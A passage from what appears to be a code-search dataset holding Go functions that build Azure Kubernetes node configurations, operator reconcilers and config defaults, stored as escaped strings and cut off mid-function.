0,\n\t\t\t\t\t\t\tCloudProviderRateLimitBucketWrite: 0,\n\t\t\t\t\t\t\tCloudProviderDisableOutboundSNAT: nil,\n\t\t\t\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\t\t\t\tLoadBalancerSku: \"\",\n\t\t\t\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\t\t\t\tAzureCNIURLLinux: \"\",\n\t\t\t\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\t\t\t\tMaximumLoadBalancerRuleCount: 0,\n\t\t\t\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tVnetCidrs: nil,\n\t\t\t\t\t\tWindowsNameVersion: \"\",\n\t\t\t\t\t\tCustomKubeletConfig: nil,\n\t\t\t\t\t\tCustomLinuxOSConfig: nil,\n\t\t\t\t\t\tMessageOfTheDay: \"\",\n\t\t\t\t\t\tNotRebootWindowsNode: nil,\n\t\t\t\t\t\tAgentPoolWindowsProfile: nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tLinuxProfile: &datamodel.LinuxProfile{\n\t\t\t\t\tAdminUsername: \"azureuser\",\n\t\t\t\t\tSSH: struct {\n\t\t\t\t\t\tPublicKeys []datamodel.PublicKey \"json:\\\"publicKeys\\\"\"\n\t\t\t\t\t}{\n\t\t\t\t\t\tPublicKeys: []datamodel.PublicKey{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tKeyData: \"dummysshkey\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tSecrets: nil,\n\t\t\t\t\tDistro: \"\",\n\t\t\t\t\tCustomSearchDomain: nil,\n\t\t\t\t},\n\t\t\t\tWindowsProfile: nil,\n\t\t\t\tExtensionProfiles: nil,\n\t\t\t\tDiagnosticsProfile: nil,\n\t\t\t\tServicePrincipalProfile: &datamodel.ServicePrincipalProfile{\n\t\t\t\t\tClientID: \"msi\",\n\t\t\t\t\tSecret: \"msi\",\n\t\t\t\t\tObjectID: \"\",\n\t\t\t\t\tKeyvaultSecretRef: nil,\n\t\t\t\t},\n\t\t\t\tCertificateProfile: &datamodel.CertificateProfile{\n\t\t\t\t\tCaCertificate: \"\",\n\t\t\t\t\tAPIServerCertificate: \"\",\n\t\t\t\t\tClientCertificate: \"\",\n\t\t\t\t\tClientPrivateKey: \"\",\n\t\t\t\t\tKubeConfigCertificate: \"\",\n\t\t\t\t\tKubeConfigPrivateKey: \"\",\n\t\t\t\t},\n\t\t\t\tAADProfile: nil,\n\t\t\t\tCustomProfile: nil,\n\t\t\t\tHostedMasterProfile: &datamodel.HostedMasterProfile{\n\t\t\t\t\tFQDN: \"\",\n\t\t\t\t\tIPAddress: \"\",\n\t\t\t\t\tDNSPrefix: \"\",\n\t\t\t\t\tFQDNSubdomain: \"\",\n\t\t\t\t\tSubnet: \"\",\n\t\t\t\t\tAPIServerWhiteListRange: nil,\n\t\t\t\t\tIPMasqAgent: true,\n\t\t\t\t},\n\t\t\t\tAddonProfiles: map[string]datamodel.AddonProfile(nil),\n\t\t\t\tFeatureFlags: nil,\n\t\t\t\tCustomCloudEnv: nil,\n\t\t\t\tCustomConfiguration: nil,\n\t\t\t},\n\t\t},\n\t\tCloudSpecConfig: &datamodel.AzureEnvironmentSpecConfig{\n\t\t\tCloudName: \"AzurePublicCloud\",\n\t\t\tDockerSpecConfig: datamodel.DockerSpecConfig{\n\t\t\t\tDockerEngineRepo: \"https://aptdocker.azureedge.net/repo\",\n\t\t\t\tDockerComposeDownloadURL: \"https://github.com/docker/compose/releases/download\",\n\t\t\t},\n\t\t\tKubernetesSpecConfig: datamodel.KubernetesSpecConfig{\n\t\t\t\tAzureTelemetryPID: \"\",\n\t\t\t\tKubernetesImageBase: \"k8s.gcr.io/\",\n\t\t\t\tTillerImageBase: \"gcr.io/kubernetes-helm/\",\n\t\t\t\tACIConnectorImageBase: \"microsoft/\",\n\t\t\t\tMCRKubernetesImageBase: \"mcr.microsoft.com/\",\n\t\t\t\tNVIDIAImageBase: \"nvidia/\",\n\t\t\t\tAzureCNIImageBase: \"mcr.microsoft.com/containernetworking/\",\n\t\t\t\tCalicoImageBase: \"calico/\",\n\t\t\t\tEtcdDownloadURLBase: \"\",\n\t\t\t\tKubeBinariesSASURLBase: \"https://acs-mirror.azureedge.net/kubernetes/\",\n\t\t\t\tWindowsTelemetryGUID: \"fb801154-36b9-41bc-89c2-f4d4f05472b0\",\n\t\t\t\tCNIPluginsDownloadURL: \"https://acs-mirror.azureedge.net/cni/cni-plugins-amd64-v0.7.6.tgz\",\n\t\t\t\tVnetCNILinuxPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-linux-amd64-v1.1.3.tgz\",\n\t\t\t\tVnetCNIWindowsPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.1.3/binaries/azure-vnet-cni-singletenancy-windows-amd64-v1.1.3.zip\",\n\t\t\t\tContainerdDownloadURLBase: \"https://storage.googleapis.com/cri-containerd-release/\",\n\t\t\t\tCSIProxyDownloadURL: \"https://acs-mirror.azureedge.net/csi-proxy/v0.1.0/binaries/csi-proxy.tar.gz\",\n\t\t\t\tWindowsProvisioningScriptsPackageURL: \"https://acs-mirror.azureedge.net/aks-engine/windows/provisioning/signedscripts-v0.2.2.zip\",\n\t\t\t\tWindowsPauseImageURL: \"mcr.microsoft.com/oss/kubernetes/pause:1.4.0\",\n\t\t\t\tAlwaysPullWindowsPauseImage: false,\n\t\t\t\tCseScriptsPackageURL: \"https://acs-mirror.azureedge.net/aks/windows/cse/csescripts-v0.0.1.zip\",\n\t\t\t\tCNIARM64PluginsDownloadURL: \"https://acs-mirror.azureedge.net/cni-plugins/v0.8.7/binaries/cni-plugins-linux-arm64-v0.8.7.tgz\",\n\t\t\t\tVnetCNIARM64LinuxPluginsDownloadURL: \"https://acs-mirror.azureedge.net/azure-cni/v1.4.13/binaries/azure-vnet-cni-linux-arm64-v1.4.14.tgz\",\n\t\t\t},\n\t\t\tEndpointConfig: datamodel.AzureEndpointConfig{\n\t\t\t\tResourceManagerVMDNSSuffix: \"cloudapp.azure.com\",\n\t\t\t},\n\t\t\tOSImageConfig: map[datamodel.Distro]datamodel.AzureOSImageConfig(nil),\n\t\t},\n\t\tK8sComponents: &datamodel.K8sComponents{\n\t\t\tPodInfraContainerImageURL: \"mcr.microsoft.com/oss/kubernetes/pause:3.6\",\n\t\t\tHyperkubeImageURL: \"mcr.microsoft.com/oss/kubernetes/\",\n\t\t\tWindowsPackageURL: \"windowspackage\",\n\t\t},\n\t\tAgentPoolProfile: &datamodel.AgentPoolProfile{\n\t\t\tName: \"nodepool2\",\n\t\t\tVMSize: \"Standard_DS1_v2\",\n\t\t\tKubeletDiskType: \"\",\n\t\t\tWorkloadRuntime: \"\",\n\t\t\tDNSPrefix: \"\",\n\t\t\tOSType: \"Linux\",\n\t\t\tPorts: nil,\n\t\t\tAvailabilityProfile: \"VirtualMachineScaleSets\",\n\t\t\tStorageProfile: \"ManagedDisks\",\n\t\t\tVnetSubnetID: \"\",\n\t\t\tDistro: \"aks-ubuntu-containerd-18.04-gen2\",\n\t\t\tCustomNodeLabels: map[string]string{\n\t\t\t\t\"kubernetes.azure.com/mode\": \"system\",\n\t\t\t\t\"kubernetes.azure.com/node-image-version\": \"AKSUbuntu-1804gen2containerd-2022.01.19\",\n\t\t\t},\n\t\t\tPreprovisionExtension: nil,\n\t\t\tKubernetesConfig: &datamodel.KubernetesConfig{\n\t\t\t\tKubernetesImageBase: \"\",\n\t\t\t\tMCRKubernetesImageBase: \"\",\n\t\t\t\tClusterSubnet: \"\",\n\t\t\t\tNetworkPolicy: \"\",\n\t\t\t\tNetworkPlugin: \"\",\n\t\t\t\tNetworkMode: \"\",\n\t\t\t\tContainerRuntime: \"containerd\",\n\t\t\t\tMaxPods: 0,\n\t\t\t\tDockerBridgeSubnet: \"\",\n\t\t\t\tDNSServiceIP: \"\",\n\t\t\t\tServiceCIDR: \"\",\n\t\t\t\tUseManagedIdentity: false,\n\t\t\t\tUserAssignedID: \"\",\n\t\t\t\tUserAssignedClientID: \"\",\n\t\t\t\tCustomHyperkubeImage: \"\",\n\t\t\t\tCustomKubeProxyImage: \"\",\n\t\t\t\tCustomKubeBinaryURL: \"\",\n\t\t\t\tMobyVersion: \"\",\n\t\t\t\tContainerdVersion: \"\",\n\t\t\t\tWindowsNodeBinariesURL: \"\",\n\t\t\t\tWindowsContainerdURL: \"\",\n\t\t\t\tWindowsSdnPluginURL: \"\",\n\t\t\t\tUseInstanceMetadata: nil,\n\t\t\t\tEnableRbac: nil,\n\t\t\t\tEnableSecureKubelet: nil,\n\t\t\t\tPrivateCluster: nil,\n\t\t\t\tGCHighThreshold: 0,\n\t\t\t\tGCLowThreshold: 0,\n\t\t\t\tEnableEncryptionWithExternalKms: nil,\n\t\t\t\tAddons: nil,\n\t\t\t\tContainerRuntimeConfig: map[string]string(nil),\n\t\t\t\tControllerManagerConfig: map[string]string(nil),\n\t\t\t\tSchedulerConfig: map[string]string(nil),\n\t\t\t\tCloudProviderBackoffMode: \"\",\n\t\t\t\tCloudProviderBackoff: nil,\n\t\t\t\tCloudProviderBackoffRetries: 0,\n\t\t\t\tCloudProviderBackoffJitter: 0.0,\n\t\t\t\tCloudProviderBackoffDuration: 0,\n\t\t\t\tCloudProviderBackoffExponent: 0.0,\n\t\t\t\tCloudProviderRateLimit: nil,\n\t\t\t\tCloudProviderRateLimitQPS: 0.0,\n\t\t\t\tCloudProviderRateLimitQPSWrite: 0.0,\n\t\t\t\tCloudProviderRateLimitBucket: 0,\n\t\t\t\tCloudProviderRateLimitBucketWrite: 0,\n\t\t\t\tCloudProviderDisableOutboundSNAT: nil,\n\t\t\t\tNodeStatusUpdateFrequency: \"\",\n\t\t\t\tLoadBalancerSku: \"\",\n\t\t\t\tExcludeMasterFromStandardLB: nil,\n\t\t\t\tAzureCNIURLLinux: \"\",\n\t\t\t\tAzureCNIURLARM64Linux: \"\",\n\t\t\t\tAzureCNIURLWindows: \"\",\n\t\t\t\tMaximumLoadBalancerRuleCount: 0,\n\t\t\t\tPrivateAzureRegistryServer: \"\",\n\t\t\t\tNetworkPluginMode: \"\",\n\t\t\t},\n\t\t\tVnetCidrs: nil,\n\t\t\tWindowsNameVersion: \"\",\n\t\t\tCustomKubeletConfig: nil,\n\t\t\tCustomLinuxOSConfig: nil,\n\t\t\tMessageOfTheDay: \"\",\n\t\t\tNotRebootWindowsNode: nil,\n\t\t\tAgentPoolWindowsProfile: nil,\n\t\t},\n\t\tTenantID: \"\",\n\t\tSubscriptionID: \"\",\n\t\tResourceGroupName: \"\",\n\t\tUserAssignedIdentityClientID: \"\",\n\t\tOSSKU: \"\",\n\t\tConfigGPUDriverIfNeeded: true,\n\t\tDisable1804SystemdResolved: false,\n\t\tEnableGPUDevicePluginIfNeeded: false,\n\t\tEnableKubeletConfigFile: false,\n\t\tEnableNvidia: false,\n\t\tEnableACRTeleportPlugin: false,\n\t\tTeleportdPluginURL: \"\",\n\t\tContainerdVersion: \"\",\n\t\tRuncVersion: \"\",\n\t\tContainerdPackageURL: \"\",\n\t\tRuncPackageURL: \"\",\n\t\tKubeletClientTLSBootstrapToken: nil,\n\t\tFIPSEnabled: false,\n\t\tHTTPProxyConfig: &datamodel.HTTPProxyConfig{\n\t\t\tHTTPProxy: nil,\n\t\t\tHTTPSProxy: nil,\n\t\t\tNoProxy: &[]string{\n\t\t\t\t\"localhost\",\n\t\t\t\t\"127.0.0.1\",\n\t\t\t\t\"168.63.129.16\",\n\t\t\t\t\"169.254.169.254\",\n\t\t\t\t\"10.0.0.0/16\",\n\t\t\t\t\"agentbaker-agentbaker-e2e-t-8ecadf-c82d8251.hcp.eastus.azmk8s.io\",\n\t\t\t},\n\t\t\tTrustedCA: nil,\n\t\t},\n\t\tKubeletConfig: map[string]string{\n\t\t\t\"--address\": \"0.0.0.0\",\n\t\t\t\"--anonymous-auth\": \"false\",\n\t\t\t\"--authentication-token-webhook\": \"true\",\n\t\t\t\"--authorization-mode\": \"Webhook\",\n\t\t\t\"--azure-container-registry-config\": \"/etc/kubernetes/azure.json\",\n\t\t\t\"--cgroups-per-qos\": \"true\",\n\t\t\t\"--client-ca-file\": \"/etc/kubernetes/certs/ca.crt\",\n\t\t\t\"--cloud-config\": \"/etc/kubernetes/azure.json\",\n\t\t\t\"--cloud-provider\": \"azure\",\n\t\t\t\"--cluster-dns\": \"10.0.0.10\",\n\t\t\t\"--cluster-domain\": \"cluster.local\",\n\t\t\t\"--dynamic-config-dir\": \"/var/lib/kubelet\",\n\t\t\t\"--enforce-node-allocatable\": \"pods\",\n\t\t\t\"--event-qps\": \"0\",\n\t\t\t\"--eviction-hard\": \"memory.available<750Mi,nodefs.available<10%,nodefs.inodesFree<5%\",\n\t\t\t\"--feature-gates\": \"RotateKubeletServerCertificate=true\",\n\t\t\t\"--image-gc-high-threshold\": \"85\",\n\t\t\t\"--image-gc-low-threshold\": \"80\",\n\t\t\t\"--keep-terminated-pod-volumes\": \"false\",\n\t\t\t\"--kube-reserved\": \"cpu=100m,memory=1638Mi\",\n\t\t\t\"--kubeconfig\": \"/var/lib/kubelet/kubeconfig\",\n\t\t\t\"--max-pods\": \"110\",\n\t\t\t\"--network-plugin\": \"kubenet\",\n\t\t\t\"--node-status-update-frequency\": \"10s\",\n\t\t\t\"--pod-infra-container-image\": \"mcr.microsoft.com/oss/kubernetes/pause:3.6\",\n\t\t\t\"--pod-manifest-path\": \"/etc/kubernetes/manifests\",\n\t\t\t\"--pod-max-pids\": \"-1\",\n\t\t\t\"--protect-kernel-defaults\": \"true\",\n\t\t\t\"--read-only-port\": \"0\",\n\t\t\t\"--resolv-conf\": \"/run/systemd/resolve/resolv.conf\",\n\t\t\t\"--rotate-certificates\": \"false\",\n\t\t\t\"--streaming-connection-idle-timeout\": \"4h\",\n\t\t\t\"--tls-cert-file\": \"/etc/kubernetes/certs/kubeletserver.crt\",\n\t\t\t\"--tls-cipher-suites\": \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_128_GCM_SHA256\",\n\t\t\t\"--tls-private-key-file\": \"/etc/kubernetes/certs/kubeletserver.key\",\n\t\t},\n\t\tKubeproxyConfig: map[string]string(nil),\n\t\tEnableRuncShimV2: false,\n\t\tGPUInstanceProfile: \"\",\n\t\tPrimaryScaleSetName: \"\",\n\t\tSIGConfig: datamodel.SIGConfig{\n\t\t\tTenantID: \"tenantID\",\n\t\t\tSubscriptionID: \"subID\",\n\t\t\tGalleries: map[string]datamodel.SIGGalleryConfig{\n\t\t\t\t\"AKSUbuntu\": {\n\t\t\t\t\tGalleryName: \"aksubuntu\",\n\t\t\t\t\tResourceGroup: \"resourcegroup\",\n\t\t\t\t},\n\t\t\t\t\"AKSCBLMariner\": {\n\t\t\t\t\tGalleryName: \"akscblmariner\",\n\t\t\t\t\tResourceGroup: \"resourcegroup\",\n\t\t\t\t},\n\t\t\t\t\"AKSWindows\": {\n\t\t\t\t\tGalleryName: \"AKSWindows\",\n\t\t\t\t\tResourceGroup: \"AKS-Windows\",\n\t\t\t\t},\n\t\t\t\t\"AKSUbuntuEdgeZone\": {\n\t\t\t\t\tGalleryName: \"AKSUbuntuEdgeZone\",\n\t\t\t\t\tResourceGroup: \"AKS-Ubuntu-EdgeZone\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tIsARM64: false,\n\t\tCustomCATrustConfig: nil,\n\t\tDisableUnattendedUpgrades: true,\n\t\tSSHStatus: 0,\n\t\tDisableCustomData: false,\n\t}\n}","func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tgceNew, err := gce.New(\"\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn &ReconcileTargetPool{\n\t\tclient: mgr.GetClient(),\n\t\tscheme: mgr.GetScheme(),\n\t\tgce: gceNew,\n\t\treconcileResult: reconcile.Result{\n\t\t\tRequeueAfter: time.Duration(5 * time.Second),\n\t\t},\n\t\tk8sObject: &computev1.TargetPool{},\n\t}\n}","func New(rc *Config) *Reloader {\n\treturn &Reloader{\n\t\tconfigFile: rc.ConfigFile,\n\t\treloadURL: rc.ReloadURL,\n\t\twatchInterval: rc.WatchInterval,\n\t}\n}","func New(\n\tnamespace, name, imagesFile string,\n\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\n\tmcInformer mcfginformersv1.MachineConfigInformer,\n\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\n\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\n\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\n\tdeployInformer appsinformersv1.DeploymentInformer,\n\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\n\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\n\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\n\tmcoCmInformer,\n\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\n\tinfraInformer configinformersv1.InfrastructureInformer,\n\tnetworkInformer configinformersv1.NetworkInformer,\n\tproxyInformer configinformersv1.ProxyInformer,\n\tdnsInformer configinformersv1.DNSInformer,\n\tclient mcfgclientset.Interface,\n\tkubeClient kubernetes.Interface,\n\tapiExtClient apiextclientset.Interface,\n\tconfigClient configclientset.Interface,\n\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\n\tnodeInformer coreinformersv1.NodeInformer,\n\tmaoSecretInformer coreinformersv1.SecretInformer,\n\timgInformer configinformersv1.ImageInformer,\n) *Operator {\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartLogging(klog.Infof)\n\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\"\")})\n\n\toptr := &Operator{\n\t\tnamespace: namespace,\n\t\tname: name,\n\t\timagesFile: imagesFile,\n\t\tvStore: newVersionStore(),\n\t\tclient: client,\n\t\tkubeClient: kubeClient,\n\t\tapiExtClient: apiExtClient,\n\t\tconfigClient: configClient,\n\t\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \"machineconfigoperator\"})),\n\t\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \"machine-config-operator\", &corev1.ObjectReference{\n\t\t\tKind: \"Deployment\",\n\t\t\tName: \"machine-config-operator\",\n\t\t\tNamespace: ctrlcommon.MCONamespace,\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t}),\n\t\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \"machineconfigoperator\"),\n\t}\n\n\tfor _, i := range []cache.SharedIndexInformer{\n\t\tcontrollerConfigInformer.Informer(),\n\t\tserviceAccountInfomer.Informer(),\n\t\tcrdInformer.Informer(),\n\t\tdeployInformer.Informer(),\n\t\tdaemonsetInformer.Informer(),\n\t\tclusterRoleInformer.Informer(),\n\t\tclusterRoleBindingInformer.Informer(),\n\t\tmcoCmInformer.Informer(),\n\t\tclusterCmInfomer.Informer(),\n\t\tinfraInformer.Informer(),\n\t\tnetworkInformer.Informer(),\n\t\tmcpInformer.Informer(),\n\t\tproxyInformer.Informer(),\n\t\toseKubeAPIInformer.Informer(),\n\t\tnodeInformer.Informer(),\n\t\tdnsInformer.Informer(),\n\t\tmaoSecretInformer.Informer(),\n\t} {\n\t\ti.AddEventHandler(optr.eventHandler())\n\t}\n\n\toptr.syncHandler = optr.sync\n\n\toptr.imgLister = imgInformer.Lister()\n\toptr.clusterCmLister = clusterCmInfomer.Lister()\n\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\n\toptr.mcpLister = mcpInformer.Lister()\n\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\n\toptr.ccLister = controllerConfigInformer.Lister()\n\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\n\toptr.mcLister = mcInformer.Lister()\n\toptr.mcListerSynced = mcInformer.Informer().HasSynced\n\toptr.proxyLister = proxyInformer.Lister()\n\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\n\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\n\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\n\toptr.nodeLister = nodeInformer.Lister()\n\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\n\n\toptr.imgListerSynced = imgInformer.Informer().HasSynced\n\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\n\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\n\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\n\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\n\toptr.mcoCmLister = mcoCmInformer.Lister()\n\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\n\toptr.crdLister = crdInformer.Lister()\n\toptr.crdListerSynced = crdInformer.Informer().HasSynced\n\toptr.deployLister = deployInformer.Lister()\n\toptr.deployListerSynced = deployInformer.Informer().HasSynced\n\toptr.daemonsetLister = daemonsetInformer.Lister()\n\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\n\toptr.infraLister = infraInformer.Lister()\n\toptr.infraListerSynced = infraInformer.Informer().HasSynced\n\toptr.networkLister = networkInformer.Lister()\n\toptr.networkListerSynced = networkInformer.Informer().HasSynced\n\toptr.dnsLister = dnsInformer.Lister()\n\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\n\n\toptr.vStore.Set(\"operator\", version.ReleaseVersion)\n\n\treturn optr\n}","func newOptions() (*Options, error) {\n\to := &Options{\n\t\tconfig: new(componentconfig.CoordinatorConfiguration),\n\t}\n\treturn o, nil\n}","func configDefault(config ...Config) Config {\n\t// Return default config if nothing provided\n\tif len(config) < 1 {\n\t\treturn ConfigDefault\n\t}\n\n\t// Override default config\n\tcfg := config[0]\n\n\t// Set default values\n\n\tif cfg.Next == nil {\n\t\tcfg.Next = ConfigDefault.Next\n\t}\n\n\tif cfg.Lifetime.Nanoseconds() == 0 {\n\t\tcfg.Lifetime = ConfigDefault.Lifetime\n\t}\n\n\tif cfg.KeyHeader == \"\" {\n\t\tcfg.KeyHeader = ConfigDefault.KeyHeader\n\t}\n\tif cfg.KeyHeaderValidate == nil {\n\t\tcfg.KeyHeaderValidate = ConfigDefault.KeyHeaderValidate\n\t}\n\n\tif cfg.KeepResponseHeaders != nil && len(cfg.KeepResponseHeaders) == 0 {\n\t\tcfg.KeepResponseHeaders = ConfigDefault.KeepResponseHeaders\n\t}\n\n\tif cfg.Lock == nil {\n\t\tcfg.Lock = NewMemoryLock()\n\t}\n\n\tif cfg.Storage == nil {\n\t\tcfg.Storage = memory.New(memory.Config{\n\t\t\tGCInterval: cfg.Lifetime / 2, // Half the lifetime interval\n\t\t})\n\t}\n\n\treturn cfg\n}","func NewOperator(clusterClient kubernetes.Interface, client k8s.Interface, wfr interface{}, namespace string) (Operator, error) {\n\tif w, ok := wfr.(string); ok {\n\t\treturn newFromName(clusterClient, client, w, namespace)\n\t}\n\n\tif w, ok := wfr.(*v1alpha1.WorkflowRun); ok {\n\t\treturn newFromValue(clusterClient, client, w, namespace)\n\t}\n\n\treturn nil, fmt.Errorf(\"invalid parameter 'wfr' provided: %v\", wfr)\n}"],"string":"[\n \"func (c RestructureOperatorConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\\n\\ttransformerOperator, err := c.TransformerConfig.Build(context)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trestructureOperator := &RestructureOperator{\\n\\t\\tTransformerOperator: transformerOperator,\\n\\t\\tops: c.Ops,\\n\\t}\\n\\n\\treturn []operator.Operator{restructureOperator}, nil\\n}\",\n \"func NewDefaultOperatorConfig(cfg *tests.Config) *tests.OperatorConfig {\\n\\tfeatures := []string{}\\n\\tfor k, v := range cfg.OperatorFeatures {\\n\\t\\tt := \\\"false\\\"\\n\\t\\tif v {\\n\\t\\t\\tt = \\\"true\\\"\\n\\t\\t}\\n\\t\\tfeatures = append(features, fmt.Sprintf(\\\"%s=%s\\\", k, t))\\n\\t}\\n\\treturn &tests.OperatorConfig{\\n\\t\\tNamespace: \\\"pingcap\\\",\\n\\t\\tReleaseName: \\\"operator\\\",\\n\\t\\tImage: cfg.OperatorImage,\\n\\t\\tTag: cfg.OperatorTag,\\n\\t\\tControllerManagerReplicas: util.IntPtr(2),\\n\\t\\tSchedulerImage: \\\"registry.k8s.io/kube-scheduler\\\",\\n\\t\\tSchedulerReplicas: util.IntPtr(2),\\n\\t\\tFeatures: features,\\n\\t\\tLogLevel: \\\"4\\\",\\n\\t\\tWebhookServiceName: \\\"webhook-service\\\",\\n\\t\\tWebhookSecretName: \\\"webhook-secret\\\",\\n\\t\\tWebhookConfigName: \\\"webhook-config\\\",\\n\\t\\tImagePullPolicy: v1.PullIfNotPresent,\\n\\t\\tTestMode: true,\\n\\t\\tWebhookEnabled: true,\\n\\t\\tStsWebhookEnabled: true,\\n\\t\\tCabundle: \\\"\\\",\\n\\t\\tBackupImage: cfg.BackupImage,\\n\\t\\tStringValues: map[string]string{\\n\\t\\t\\t\\\"admissionWebhook.failurePolicy.validation\\\": \\\"Fail\\\",\\n\\t\\t\\t\\\"admissionWebhook.failurePolicy.mutation\\\": \\\"Fail\\\",\\n\\t\\t},\\n\\t}\\n}\",\n \"func newRebalanceOptions() *rebalanceOptions {\\n\\treturn &rebalanceOptions{\\n\\t\\tconfig: clusterConfigShim{},\\n\\t\\tlogger: log.NewNopLogger(),\\n\\t\\tclock: clock.New(),\\n\\t}\\n}\",\n \"func newConfig() Config {\\n\\treturn Config{\\n\\t\\tDefaultContainerConfig: newDefaultContainerConfig(),\\n\\t\\tContainersConfig: map[string]ContainerConfig{},\\n\\t\\tExclude: []string{},\\n\\t}\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\treturn &ReconcileHostOperatorConfig{client: mgr.GetClient()}\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\treconciler := &ReconcileAppsodyApplication{ReconcilerBase: oputils.NewReconcilerBase(mgr.GetClient(), mgr.GetScheme(), mgr.GetConfig(), mgr.GetEventRecorderFor(\\\"appsody-operator\\\")),\\n\\t\\tStackDefaults: map[string]appsodyv1beta1.AppsodyApplicationSpec{}, StackConstants: map[string]*appsodyv1beta1.AppsodyApplicationSpec{}}\\n\\n\\twatchNamespaces, err := oputils.GetWatchNamespaces()\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to get watch namespace\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\tlog.Info(\\\"newReconciler\\\", \\\"watchNamespaces\\\", watchNamespaces)\\n\\n\\tns, err := k8sutil.GetOperatorNamespace()\\n\\t// When running the operator locally, `ns` will be empty string\\n\\tif ns == \\\"\\\" {\\n\\t\\t// If the operator is running locally, use the first namespace in the `watchNamespaces`\\n\\t\\t// `watchNamespaces` must have at least one item\\n\\t\\tns = watchNamespaces[0]\\n\\t}\\n\\n\\tconfigMap := &corev1.ConfigMap{}\\n\\tconfigMap.Namespace = ns\\n\\tconfigMap.Name = \\\"appsody-operator\\\"\\n\\tconfigMap.Data = common.DefaultOpConfig()\\n\\terr = reconciler.GetClient().Create(context.TODO(), configMap)\\n\\tif err != nil && !kerrors.IsAlreadyExists(err) {\\n\\t\\tlog.Error(err, \\\"Failed to create config map for the operator\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tfData, err := ioutil.ReadFile(\\\"deploy/stack_defaults.yaml\\\")\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to read defaults config map from file\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tconfigMap = &corev1.ConfigMap{}\\n\\terr = yaml.Unmarshal(fData, configMap)\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to parse defaults config map from file\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\tconfigMap.Namespace = ns\\n\\terr = reconciler.GetClient().Create(context.TODO(), configMap)\\n\\tif err != nil && !kerrors.IsAlreadyExists(err) {\\n\\t\\tlog.Error(err, \\\"Failed to create defaults config map in the cluster\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tfData, err = ioutil.ReadFile(\\\"deploy/stack_constants.yaml\\\")\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to read constants config map from file\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tconfigMap = &corev1.ConfigMap{}\\n\\terr = yaml.Unmarshal(fData, configMap)\\n\\tif err != nil {\\n\\t\\tlog.Error(err, \\\"Failed to parse constants config map from file\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\tconfigMap.Namespace = ns\\n\\terr = reconciler.GetClient().Create(context.TODO(), configMap)\\n\\tif err != nil && !kerrors.IsAlreadyExists(err) 